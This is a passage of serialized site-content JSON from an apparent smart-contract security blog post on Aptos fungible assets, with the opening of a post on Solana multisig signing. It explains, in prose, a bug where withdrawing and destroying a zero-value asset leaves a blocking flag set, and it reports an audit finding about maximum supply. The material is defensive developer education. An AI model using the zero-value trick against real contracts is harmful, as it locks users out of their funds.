[65107],{"type":29,"value":8269},{"type":23,"tag":141,"props":65109,"children":65110},{"style":154},[65111],{"type":29,"value":10452},{"type":23,"tag":141,"props":65113,"children":65114},{"class":143,"line":824},[65115,65119,65123,65127],{"type":23,"tag":141,"props":65116,"children":65117},{"style":184},[65118],{"type":29,"value":64874},{"type":23,"tag":141,"props":65120,"children":65121},{"style":154},[65122],{"type":29,"value":192},{"type":23,"tag":141,"props":65124,"children":65125},{"style":449},[65126],{"type":29,"value":2670},{"type":23,"tag":141,"props":65128,"children":65129},{"style":154},[65130],{"type":29,"value":2496},{"type":23,"tag":141,"props":65132,"children":65133},{"class":143,"line":839},[65134,65138,65142,65146,65150,65154,65158,65162,65166,65170],{"type":23,"tag":141,"props":65135,"children":65136},{"style":154},[65137],{"type":29,"value":64442},{"type":23,"tag":141,"props":65139,"children":65140},{"style":160},[65141],{"type":29,"value":2141},{"type":23,"tag":141,"props":65143,"children":65144},{"style":184},[65145],{"type":29,"value":64451},{"type":23,"tag":141,"props":65147,"children":65148},{"style":154},[65149],{"type":29,"value":192},{"type":23,"tag":141,"props":65151,"children":65152},{"style":750},[65153],{"type":29,"value":64460},{"type":23,"tag":141,"props":65155,"children":65156},{"style":154},[65157],{"type":29,"value":480},{"type":23,"tag":141,"props":65159,"children":65160},{"style":750},[65161],{"type":29,"value":4614},{"type":23,"tag":141,"props":65163,"children":65164},{"style":154},[65165],{"type":29,"value":480},{"type":23,"tag":141,"props":65167,"children":65168},{"style":750},[65169],{"type":29,"value":18978},{"type":23,"tag":141,"props":65171,"children":65172},{"style":154},[65173],{"type":29,"value":758},{"type":23,"tag":141,"props":65175,"children":65176},{"class":143,"line":848},[65177],{"type":23,"tag":141,"props":65178,"children":65179},{"style":154},[65180],{"type":29,"value":2573},{"type":23,"tag":32,"props":65182,"children":65183},{},[65184],{"type":29,"value":65185},"At first glance, this code appears valid, but not to an astute reader.",{"type":23,"tag":64667,"props":65187,"children":65188},{},[65189,65194],{"type":23,"tag":32,"props":65190,"children":65191},{},[65192],{"type":29,"value":65193},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":23,"tag":64698,"props":65195,"children":65196},{"v-slot:answer-0":7},[65197,65217],{"type":23,"tag":32,"props":65198,"children":65199},{},[65200,65202,65207,65209,65215],{"type":29,"value":65201},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":23,"tag":38,"props":65203,"children":65205},{"className":65204},[],[65206],{"type":29,"value":59992},{"type":29,"value":65208}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":23,"tag":38,"props":65210,"children":65212},{"className":65211},[],[65213],{"type":29,"value":65214},"fungible_asset::destroy_zero",{"type":29,"value":65216},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":23,"tag":32,"props":65218,"children":65219},{},[65220],{"type":29,"value":65221},"It's important to understand all the features in the standard.",{"type":23,"tag":24,"props":65223,"children":65225},{"id":65224},"migrating-from-coins-to-fungible-assets",[65226],{"type":29,"value":65227},"Migrating from coins to fungible assets",{"type":23,"tag":32,"props":65229,"children":65230},{},[65231,65233,65238],{"type":29,"value":65232},"If a fungible asset is considered an upgrade to ",{"type":23,"tag":38,"props":65234,"children":65236},{"className":65235},[],[65237],{"type":29,"value":59447},{"type":29,"value":65239},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":23,"tag":65241,"props":65242,"children":65243},"note",{},[65244],{"type":23,"tag":32,"props":65245,"children":65246},{},[65247,65249,65254,65256,65261],{"type":29,"value":65248},"While the ",{"type":23,"tag":38,"props":65250,"children":65252},{"className":65251},[],[65253],{"type":29,"value":59447},{"type":29,"value":65255}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":23,"tag":38,"props":65257,"children":65259},{"className":65258},[],[65260],{"type":29,"value":59447},{"type":29,"value":322},{"type":23,"tag":32,"props":65263,"children":65264},{},[65265,65266,65272,65274,65279,65281,65286],{"type":29,"value":388},{"type":23,"tag":38,"props":65267,"children":65269},{"className":65268},[],[65270],{"type":29,"value":65271},"coin_to_fungible_asset",{"type":29,"value":65273}," converting function automatically generates a corresponding fungible asset for a ",{"type":23,"tag":38,"props":65275,"children":65277},{"className":65276},[],[65278],{"type":29,"value":59447},{"type":29,"value":65280}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":23,"tag":38,"props":65282,"children":65284},{"className":65283},[],[65285],{"type":29,"value":59447},{"type":29,"value":65287}," is not allowed.",{"type":23,"tag":131,"props":65289,"children":65291},{"className":1639,"code":65290,"language":1638,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n let metadata = ensure_paired_metadata\u003CCoinType>();\n let amount = burn_internal(coin);\n fungible_asset::mint_internal(metadata, amount)\n}\n",[65292],{"type":23,"tag":38,"props":65293,"children":65294},{"__ignoreMap":7},[65295,65323,65350,65386,65419,65452,65488],{"type":23,"tag":141,"props":65296,"children":65297},{"class":143,"line":144},[65298,65302,65306,65311,65315,65319],{"type":23,"tag":141,"props":65299,"children":65300},{"style":750},[65301],{"type":29,"value":60156},{"type":23,"tag":141,"props":65303,"children":65304},{"style":750},[65305],{"type":29,"value":4881},{"type":23,"tag":141,"props":65307,"children":65308},{"style":750},[65309],{"type":29,"value":65310}," coin_to_fungible_asset",{"type":23,"tag":141,"props":65312,"children":65313},{"style":154},[65314],{"type":29,"value":4480},{"type":23,"tag":141,"props":65316,"children":65317},{"style":725},[65318],{"type":29,"value":5257},{"type":23,"tag":141,"props":65320,"children":65321},{"style":154},[65322],{"type":29,"value":5262},{"type":23,"tag":141,"props":65324,"children":65325},{"class":143,"line":180},[65326,65330,65334,65338,65342,65346],{"type":23,"tag":141,"props":65327,"children":65328},{"style":750},[65329],{"type":29,"value":59666},{"type":23,"tag":141,"props":65331,"children":65332},{"style":160},[65333],{"type":29,"value":114},{"type":23,"tag":141,"props":65335,"children":65336},{"style":725},[65337],{"type":29,"value":4475},{"type":23,"tag":141,"props":65339,"children":65340},{"style":154},[65341],{"type":29,"value":4480},{"type":23,"tag":141,"props":65343,"children":65344},{"style":725},[65345],{"type":29,"value":5257},{"type":23,"tag":141,"props":65347,"children":65348},{"style":154},[65349],{"type":29,"value":4666},{"type":23,"tag":141,"props":65351,"children":65352},{"class":143,"line":205},[65353,65357,65361,65365,65369,65374,65378,65382],{"type":23,"tag":141,"props":65354,"children":65355},{"style":154},[65356],{"type":29,"value":1788},{"type":23,"tag":141,"props":65358,"children":65359},{"style":160},[65360],{"type":29,"value":114},{"type":23,"tag":141,"props":65362,"children":65363},{"style":725},[65364],{"type":29,"value":60021},{"type":23,"tag":141,"props":65366,"children":65367},{"style":750},[65368],{"type":29,"value":6241},{"type":23,"tag":141,"props":65370,"children":65371},{"style":725},[65372],{"type":29,"value":65373}," CoinConversionMap",{"type":23,"tag":141,"props":65375,"children":65376},{"style":154},[65377],{"type":29,"value":480},{"type":23,"tag":141,"props":65379,"children":65380},{"style":725},[65381],{"type":29,"value":5387},{"type":23,"tag":141,"props":65383,"children":65384},{"style":154},[65385],{"type":29,"value":1951},{"type":23,"tag":141,"props":65387,"children":65388},{"class":143,"line":218},[65389,65393,65398,65402,65407,65411,65415],{"type":23,"tag":141,"props":65390,"children":65391},{"style":449},[65392],{"type":29,"value":1659},{"type":23,"tag":141,"props":65394,"children":65395},{"style":750},[65396],{"type":29,"value":65397}," metadata",{"type":23,"tag":141,"props":65399,"children":65400},{"style":160},[65401],{"type":29,"value":1674},{"type":23,"tag":141,"props":65403,"children":65404},{"style":750},[65405],{"type":29,"value":65406}," ensure_paired_metadata",{"type":23,"tag":141,"props":65408,"children":65409},{"style":154},[65410],{"type":29,"value":4480},{"type":23,"tag":141,"props":65412,"children":65413},{"style":725},[65414],{"type":29,"value":5257},{"type":23,"tag":141,"props":65416,"children":65417},{"style":154},[65418],{"type":29,"value":7127},{"type":23,"tag":141,"props":65420,"children":65421},{"class":143,"line":227},[65422,65426,65431,65435,65440,65444,65448],{"type":23,"tag":141,"props":65423,"children":65424},{"style":449},[65425],{"type":29,"value":1659},{"type":23,"tag":141,"props":65427,"children":65428},{"style":750},[65429],{"type":29,"value":65430}," amount",{"type":23,"tag":141,"props":65432,"children":65433},{"style":160},[65434],{"type":29,"value":1674},{"type":23,"tag":141,"props":65436,"children":65437},{"style":184},[65438],{"type":29,"value":65439}," burn_internal",{"type":23,"tag":141,"props":65441,"children":65442},{"style":154},[65443],{"type":29,"value":192},{"type":23,"tag":141,"props":65445,"children":65446},{"style":750},[65447],{"type":29,"value":59414},{"type":23,"tag":141,"props":65449,"children":65450},{"style":154},[65451],{"type":29,"value":2496},{"type":23,"tag":141,"props":65453,"children":65454},{"class":143,"line":241},[65455,65459,65463,65468,65472,65476,65480,65484],{"type":23,"tag":141,"props":65456,"children":65457},{"style":154},[65458],{"type":29,"value":64442},{"type":23,"tag":141,"props":65460,"children":65461},{"style":160},[65462],{"type":29,"value":2141},{"type":23,"tag":141,"props":65464,"children":65465},{"style":184},[65466],{"type":29,"value":65467},"mint_internal",{"type":23,"tag":141,"props":65469,"children":65470},{"style":154},[65471],{"type":29,"value":192},{"type":23,"tag":141,"props":65473,"children":65474},{"style":750},[65475],{"type":29,"value":60793},{"type":23,"tag":141,"props":65477,"children":65478},{"style":154},[65479],{"type":29,"value":480},{"type":23,"tag":141,"props":65481,"children":65482},{"style":750},[65483],{"type":29,"value":18978},{"type":23,"tag":141,"props":65485,"children":65486},{"style":154},[65487],{"type":29,"value":758},{"type":23,"tag":141,"props":65489,"children":65490},{"class":143,"line":262},[65491],{"type":23,"tag":141,"props":65492,"children":65493},{"style":154},[65494],{"type":29,"value":2573},{"type":23,"tag":32,"props":65496,"children":65497},{},[65498,65500,65507],{"type":29,"value":65499},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":23,"tag":55,"props":65501,"children":65504},{"href":65502,"rel":65503},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[59],[65505],{"type":29,"value":65506},"noticed an overlooked detail",{"type":29,"value":65508}," in the linking process.",{"type":23,"tag":131,"props":65510,"children":65512},{"className":1639,"code":65511,"language":1638,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n &metadata_object_cref,\n option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n name\u003CCoinType>(),\n symbol\u003CCoinType>(),\n decimals\u003CCoinType>(),\n string::utf8(b\"\"),\n string::utf8(b\"\"),\n);\n[...]\n",[65513],{"type":23,"tag":38,"props":65514,"children":65515},{"__ignoreMap":7},[65516,65531,65551,65568,65624,65645,65665,65685,65715,65742,65749],{"type":23,"tag":141,"props":65517,"children":65518},{"class":143,"line":144},[65519,65523,65527],{"type":23,"tag":141,"props":65520,"children":65521},{"style":154},[65522],{"type":29,"value":2399},{"type":23,"tag":141,"props":65524,"children":65525},{"style":160},[65526],{"type":29,"value":8269},{"type":23,"tag":141,"props":65528,"children":65529},{"style":154},[65530],{"type":29,"value":10452},{"type":23,"tag":141,"props":65532,"children":65533},{"class":143,"line":180},[65534,65538,65542,65547],{"type":23,"tag":141,"props":65535,"children":65536},{"style":154},[65537],{"type":29,"value":61090},{"type":23,"tag":141,"props":65539,"children":65540},{"style":160},[65541],{"type":29,"value":2141},{"type":23,"tag":141,"props":65543,"children":65544},{"style":184},[65545],{"type":29,"value":65546},"create_primary_store_enabled_fungible_asset",{"type":23,"tag":141,"props":65548,"children":65549},{"style":154},[65550],{"type":29,"value":2123},{"type":23,"tag":141,"props":65552,"children":65553},{"class":143,"line":205},[65554,65559,65564],{"type":23,"tag":141,"props":65555,"children":65556},{"style":160},[65557],{"type":29,"value":65558}," &",{"type":23,"tag":141,"props":65560,"children":65561},{"style":750},[65562],{"type":29,"value":65563},"metadata_object_cref",{"type":23,"tag":141,"props":65565,"children":65566},{"style":154},[65567],{"type":29,"value":2168},{"type":23,"tag":141,"props":65569,"children":65570},{"class":143,"line":218},[65571,65576,65580,65585,65589,65594,65598,65602,65607,65611,65615,65619],{"type":23,"tag":141,"props":65572,"children":65573},{"style":154},[65574],{"type":29,"value":65575}," option",{"type":23,"tag":141,"props":65577,"children":65578},{"style":160},[65579],{"type":29,"value":2141},{"type":23,"tag":141,"props":65581,"children":65582},{"style":184},[65583],{"type":29,"value":65584},"map",{"type":23,"tag":141,"props":65586,"children":65587},{"style":154},[65588],{"type":29,"value":192},{"type":23,"tag":141,"props":65590,"children":65591},{"style":750},[65592],{"type":29,"value":65593},"coin_supply",{"type":23,"tag":141,"props":65595,"children":65596},{"style":154},[65597],{"type":29,"value":4480},{"type":23,"tag":141,"props":65599,"children":65600},{"style":725},[65601],{"type":29,"value":5257},{"type":23,"tag":141,"props":65603,"children":65604},{"style":154},[65605],{"type":29,"value":65606},">(), ",{"type":23,"tag":141,"props":65608,"children":65609},{"style":160},[65610],{"type":29,"value":9096},{"type":23,"tag":141,"props":65612,"children":65613},{"style":750},[65614],{"type":29,"value":1743},{"type":23,"tag":141,"props":65616,"children":65617},{"style":160},[65618],{"type":29,"value":9096},{"type":23,"tag":141,"props":65620,"children":65621},{"style":154},[65622],{"type":29,"value":65623}," MAX_U128),\n",{"type":23,"tag":141,"props":65625,"children":65626},{"class":143,"line":227},[65627,65632,65636,65640],{"type":23,"tag":141,"props":65628,"children":65629},{"style":750},[65630],{"type":29,"value":65631}," name",{"type":23,"tag":141,"props":65633,"children":65634},{"style":154},[65635],{"type":29,"value":4480},{"type":23,"tag":141,"props":65637,"children":65638},{"style":725},[65639],{"type":29,"value":5257},{"type":23,"tag":141,"props":65641,"children":65642},{"style":154},[65643],{"type":29,"value":65644},">(),\n",{"type":23,"tag":141,"props":65646,"children":65647},{"class":143,"line":241},[65648,65653,65657,65661],{"type":23,"tag":141,"props":65649,"children":65650},{"style":750},[65651],{"type":29,"value":65652}," symbol",{"type":23,"tag":141,"props":65654,"children":65655},{"style":154},[65656],{"type":29,"value":4480},{"type":23,"tag":141,"props":65658,"children":65659},{"style":725},[65660],{"type":29,"value":5257},{"type":23,"tag":141,"props":65662,"children":65663},{"style":154},[65664],{"type":29,"value":65644},{"type":23,"tag":141,"props":65666,"children":65667},{"class":143,"line":262},[65668,65673,65677,65681],{"type":23,"tag":141,"props":65669,"children":65670},{"style":750},[65671],{"type":29,"value":65672}," decimals",{"type":23,"tag":141,"props":65674,"children":65675},{"style":154},[65676],{"type":29,"value":4480},{"type":23,"tag":141,"props":65678,"children":65679},{"style":725},[65680],{"type":29,"value":5257},{"type":23,"tag":141,"props":65682,"children":65683},{"style":154},[65684],{"type":29,"value":65644},{"type":23,"tag":141,"props":65686,"children":65687},{"class":143,"line":271},[65688,65693,65697,65702,65706,65711],{"type":23,"tag":141,"props":65689,"children":65690},{"style":154},[65691],{"type":29,"value":65692}," string",{"type":23,"tag":141,"props":65694,"children":65695},{"style":160},[65696],{"type":29,"value":2141},{"type":23,"tag":141,"props":65698,"children":65699},{"style":184},[65700],{"type":29,"value":65701},"utf8",{"type":23,"tag":141,"props":65703,"children":65704},{"style":154},[65705],{"type":29,"value":192},{"type":23,"tag":141,"props":65707,"children":65708},{"style":828},[65709],{"type":29,"value":65710},"b\"\"",{"type":23,"tag":141,"props":65712,"children":65713},{"style":154},[65714],{"type":29,"value":5410},{"type":23,"tag":141,"props":65716,"children":65717},{"class":143,"line":293},[65718,65722,65726,65730,65734,65738],{"type":23,"tag":141,"props":65719,"children":65720},{"style":154},[65721],{"type":29,"value":65692},{"type":23,"tag":141,"props":65723,"children":65724},{"style":160},[65725],{"type":29,"value":2141},{"type":23,"tag":141,"props":65727,"children":65728},{"style":184},[65729],{"type":29,"value":65701},{"type":23,"tag":141,"props":65731,"children":65732},{"style":154},[65733],{"type":29,"value":192},{"type":23,"tag":141,"props":65735,"children":65736},{"style":828},[65737],{"type":29,"value":65710},{"type":23,"tag":141,"props":65739,"children":65740},{"style":154},[65741],{"type":29,"value":5410},{"type":23,"tag":141,"props":65743,"children":65744},{"class":143,"line":801},[65745],{"type":23,"tag":141,"props":65746,"children":65747},{"style":154},[65748],{"type":29,"value":2496},{"type":23,"tag":141,"props":65750,"children":65751},{"class":143,"line":810},[65752,65756,65760],{"type":23,"tag":141,"props":65753,"children":65754},{"style":154},[65755],{"type":29,"value":2399},{"type":23,"tag":141,"props":65757,"children":65758},{"style":160},[65759],{"type":29,"value":8269},{"type":23,"tag":141,"props":65761,"children":65762},{"style":154},[65763],{"type":29,"value":10452},{"type":23,"tag":32,"props":65765,"children":65766},{},[65767,65769,65774],{"type":29,"value":65768},"When the linked fungible asset was created, the current ",{"type":23,"tag":38,"props":65770,"children":65772},{"className":65771},[],[65773],{"type":29,"value":59447},{"type":29,"value":65775}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":23,"tag":32,"props":65777,"children":65778},{},[65779,65781,65786,65788,65794,65796,65801],{"type":29,"value":65780},"Users can manually migrate their ",{"type":23,"tag":38,"props":65782,"children":65784},{"className":65783},[],[65785],{"type":29,"value":59609},{"type":29,"value":65787}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":23,"tag":38,"props":65789,"children":65791},{"className":65790},[],[65792],{"type":29,"value":65793},"\u003CCoinStore\u003CCoinType>>",{"type":29,"value":65795}," from the caller. All coins in the ",{"type":23,"tag":38,"props":65797,"children":65799},{"className":65798},[],[65800],{"type":29,"value":59609},{"type":29,"value":65802}," are exchanged and transferred to the new store during the migration.",{"type":23,"tag":131,"props":65804,"children":65806},{"className":1639,"code":65805,"language":1638,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[65807],{"type":23,"tag":38,"props":65808,"children":65809},{"__ignoreMap":7},[65810,65818,65850,65870,65906,65947],{"type":23,"tag":141,"props":65811,"children":65812},{"class":143,"line":144},[65813],{"type":23,"tag":141,"props":65814,"children":65815},{"style":443},[65816],{"type":29,"value":65817},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":23,"tag":141,"props":65819,"children":65820},{"class":143,"line":180},[65821,65825,65829,65833,65838,65842,65846],{"type":23,"tag":141,"props":65822,"children":65823},{"style":750},[65824],{"type":29,"value":60156},{"type":23,"tag":141,"props":65826,"children":65827},{"style":750},[65828],{"type":29,"value":61123},{"type":23,"tag":141,"props":65830,"children":65831},{"style":750},[65832],{"type":29,"value":4881},{"type":23,"tag":141,"props":65834,"children":65835},{"style":750},[65836],{"type":29,"value":65837}," migrate_to_fungible_store",{"type":23,"tag":141,"props":65839,"children":65840},{"style":154},[65841],{"type":29,"value":4480},{"type":23,"tag":141,"props":65843,"children":65844},{"style":725},[65845],{"type":29,"value":5257},{"type":23,"tag":141,"props":65847,"children":65848},{"style":154},[65849],{"type":29,"value":5262},{"type":23,"tag":141,"props":65851,"children":65852},{"class":143,"line":205},[65853,65857,65861,65865],{"type":23,"tag":141,"props":65854,"children":65855},{"style":750},[65856],{"type":29,"value":23855},{"type":23,"tag":141,"props":65858,"children":65859},{"style":160},[65860],{"type":29,"value":114},{"type":23,"tag":141,"props":65862,"children":65863},{"style":160},[65864],{"type":29,"value":5815},{"type":23,"tag":141,"props":65866,"children":65867},{"style":750},[65868],{"type":29,"value":65869},"signer\n",{"type":23,"tag":141,"props":65871,"children":65872},{"class":143,"line":218},[65873,65877,65881,65885,65889,65894,65898,65902],{"type":23,"tag":141,"props":65874,"children":65875},{"style":154},[65876],{"type":29,"value":1748},{"type":23,"tag":141,"props":65878,"children":65879},{"style":750},[65880],{"type":29,"value":5018},{"type":23,"tag":141,"props":65882,"children":65883},{"style":725},[65884],{"type":29,"value":59630},{"type":23,"tag":141,"props":65886,"children":65887},{"style":154},[65888],{"type":29,"value":480},{"type":23,"tag":141,"props":65890,"children":65891},{"style":725},[65892],{"type":29,"value":65893},"CoinConversionMap",{"type":23,"tag":141,"props":65895,"children":65896},{"style":154},[65897],{"type":29,"value":480},{"type":23,"tag":141,"props":65899,"children":65900},{"style":725},[65901],{"type":29,"value":5387},{"type":23,"tag":141,"props":65903,"children":65904},{"style":154},[65905],{"type":29,"value":1951},{"type":23,"tag":141,"props":65907,"children":65908},{"class":143,"line":227},[65909,65914,65918,65922,65927,65931,65935,65939,65943],{"type":23,"tag":141,"props":65910,"children":65911},{"style":750},[65912],{"type":29,"value":65913}," maybe_convert_to_fungible_store",{"type":23,"tag":141,"props":65915,"children":65916},{"style":154},[65917],{"type":29,"value":4480},{"type":23,"tag":141,"props":65919,"children":65920},{"style":725},[65921],{"type":29,"value":5257},{"type":23,"tag":141,"props":65923,"children":65924},{"style":154},[65925],{"type":29,"value":65926},">(signer",{"type":23,"tag":141,"props":65928,"children":65929},{"style":160},[65930],{"type":29,"value":2141},{"type":23,"tag":141,"props":65932,"children":65933},{"style":184},[65934],{"type":29,"value":5883},{"type":23,"tag":141,"props":65936,"children":65937},{"style":154},[65938],{"type":29,"value":192},{"type":23,"tag":141,"props":65940,"children":65941},{"style":750},[65942],{"type":29,"value":11631},{"type":23,"tag":141,"props":65944,"children":65945},{"style":154},[65946],{"type":29,"value":5897},{"type":23,"tag":141,"props":65948,"children":65949},{"class":143,"line":241},[65950],{"type":23,"tag":141,"props":65951,"children":65952},{"style":154},[65953],{"type":29,"value":2573},{"type":23,"tag":32,"props":65955,"children":65956},{},[65957,65959,65964,65966,65971],{"type":29,"value":65958},"A curious reader might wonder about the fate of the ",{"type":23,"tag":38,"props":65960,"children":65962},{"className":65961},[],[65963],{"type":29,"value":59609},{"type":29,"value":65965}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":23,"tag":38,"props":65967,"children":65969},{"className":65968},[],[65970],{"type":29,"value":59609},{"type":29,"value":65972}," to ensure consistency.",{"type":23,"tag":64667,"props":65974,"children":65975},{},[65976,65995],{"type":23,"tag":32,"props":65977,"children":65978},{},[65979,65981,65986,65988,65993],{"type":29,"value":65980},"Could an attacker convert their ",{"type":23,"tag":38,"props":65982,"children":65984},{"className":65983},[],[65985],{"type":29,"value":59609},{"type":29,"value":65987}," to a primary fungible store and then register another ",{"type":23,"tag":38,"props":65989,"children":65991},{"className":65990},[],[65992],{"type":29,"value":59609},{"type":29,"value":65994}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":23,"tag":64698,"props":65996,"children":65997},{"v-slot:answer-0":7},[65998],{"type":23,"tag":32,"props":65999,"children":66000},{},[66001],{"type":29,"value":66002},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":23,"tag":24,"props":66004,"children":66005},{"id":27618},[66006],{"type":29,"value":17618},{"type":23,"tag":32,"props":66008,"children":66009},{},[66010,66012,66017],{"type":29,"value":66011},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":23,"tag":38,"props":66013,"children":66015},{"className":66014},[],[66016],{"type":29,"value":59447},{"type":29,"value":322},{"type":23,"tag":32,"props":66019,"children":66020},{},[66021],{"type":29,"value":66022},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":23,"tag":32,"props":66024,"children":66025},{},[66026,66028],{"type":29,"value":66027},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":23,"tag":676,"props":66029,"children":66030},{},[66031],{"type":23,"tag":55,"props":66032,"children":66034},{"href":681,"ariaDescribedBy":66033,"dataFootnoteRef":7,"id":684},[683],[66035],{"type":29,"value":687},{"type":23,"tag":1435,"props":66037,"children":66039},{"className":66038,"dataFootnotes":7},[1438],[66040,66045],{"type":23,"tag":24,"props":66041,"children":66043},{"className":66042,"id":683},[1443],[66044],{"type":29,"value":1446},{"type":23,"tag":116,"props":66046,"children":66047},{},[66048],{"type":23,"tag":120,"props":66049,"children":66050},{"id":1452},[66051,66053,66095],{"type":29,"value":66052},"There are at least four functions that can withdraw a fungible asset:",{"type":23,"tag":15362,"props":66054,"children":66055},{},[66056,66066,66075,66085],{"type":23,"tag":120,"props":66057,"children":66058},{},[66059],{"type":23,"tag":55,"props":66060,"children":66064},{"href":66061,"rel":66062,":style":66063},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[59],"color: #007bff;",[66065],{"type":29,"value":62748},{"type":23,"tag":120,"props":66067,"children":66068},{},[66069],{"type":23,"tag":55,"props":66070,"children":66073},{"href":66071,"rel":66072,":style":66063},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[59],[66074],{"type":29,"value":64688},{"type":23,"tag":120,"props":66076,"children":66077},{},[66078],{"type":23,"tag":55,"props":66079,"children":66082},{"href":66080,"rel":66081,":style":66063},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[59],[66083],{"type":29,"value":66084},"primary_fungible_store::withdraw",{"type":23,"tag":120,"props":66086,"children":66087},{},[66088],{"type":23,"tag":55,"props":66089,"children":66092},{"href":66090,"rel":66091,":style":66063},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[59],[66093],{"type":29,"value":66094},"coin::withdraw",{"type":23,"tag":55,"props":66096,"children":66098},{"href":1480,"ariaLabel":1481,"className":66097,"dataFootnoteBackref":7},[1483],[66099],{"type":29,"value":1486},{"type":23,"tag":1508,"props":66101,"children":66102},{},[66103],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":66105},[66106,66107,66108,66111,66116,66117,66118,66119],{"id":59433,"depth":180,"text":59436},{"id":59978,"depth":180,"text":59981},{"id":60538,"depth":180,"text":60541,"children":66109},[66110],{"id":61049,"depth":205,"text":61052},{"id":61306,"depth":180,"text":61309,"children":66112},[66113,66114,66115],{"id":61349,"depth":205,"text":61352},{"id":62054,"depth":205,"text":62057},{"id":63712,"depth":205,"text":63715},{"id":64243,"depth":180,"text":64246},{"id":65224,"depth":180,"text":65227},{"id":27618,"depth":180,"text":17618},{"id":683,"depth":180,"text":1446},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":66124,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":66125,"description":66126,"date":66127,"author":10,"image":66128,"isFeatured":15,"onBlogPage":15,"tags":66130,"body":66131,"_type":1522,"_id":67959,"_source":1524,"_file":67960,"_stem":67961,"_extension":1527},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":66129,"width":4059,"height":4060},"/posts/multisig-security/title.png",[1539],{"type":20,"children":66132,"toc":67950},[66133,66146,66152,66157,66163,66176,66184,66197,66257,66279,66406,66411,66424,66436,66442,66456,66469,66483,66965,66970,66978,66992,67006,67145,67157,67163,67168,67186,67191,67196,67217,67501,67516,67704,67717,67846,67851,67856,67861,67889,67895,67900,67914,67946],{"type":23,"tag":32,"props":66134,"children":66135},{},[66136,66137,66144],{"type":29,"value":388},{"type":23,"tag":55,"props":66138,"children":66141},{"href":66139,"rel":66140},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[59],[66142],{"type":29,"value":66143},"Bybit hack",{"type":29,"value":66145}," raises an interesting question: what can teams do if their signers are compromised?",{"type":23,"tag":24,"props":66147,"children":66149},{"id":66148},"solana-signatures",[66150],{"type":29,"value":66151},"Solana Signatures",{"type":23,"tag":32,"props":66153,"children":66154},{},[66155],{"type":29,"value":66156},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":23,"tag":8287,"props":66158,"children":66160},{"id":66159},"recent-blockhash",[66161],{"type":29,"value":66162},"Recent Blockhash",{"type":23,"tag":32,"props":66164,"children":66165},{},[66166,66168,66175],{"type":29,"value":66167},"The most straightforward is with a \"recent blockhash\". From ",{"type":23,"tag":55,"props":66169,"children":66172},{"href":66170,"rel":66171},"https://solana.com/developers/guides/advanced/confirmation",[59],[66173],{"type":29,"value":66174},"the docs",{"type":29,"value":114},{"type":23,"tag":355,"props":66177,"children":66178},{},[66179],{"type":23,"tag":32,"props":66180,"children":66181},{},[66182],{"type":29,"value":66183},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":23,"tag":32,"props":66185,"children":66186},{},[66187,66189,66196],{"type":29,"value":66188},"The actual constant 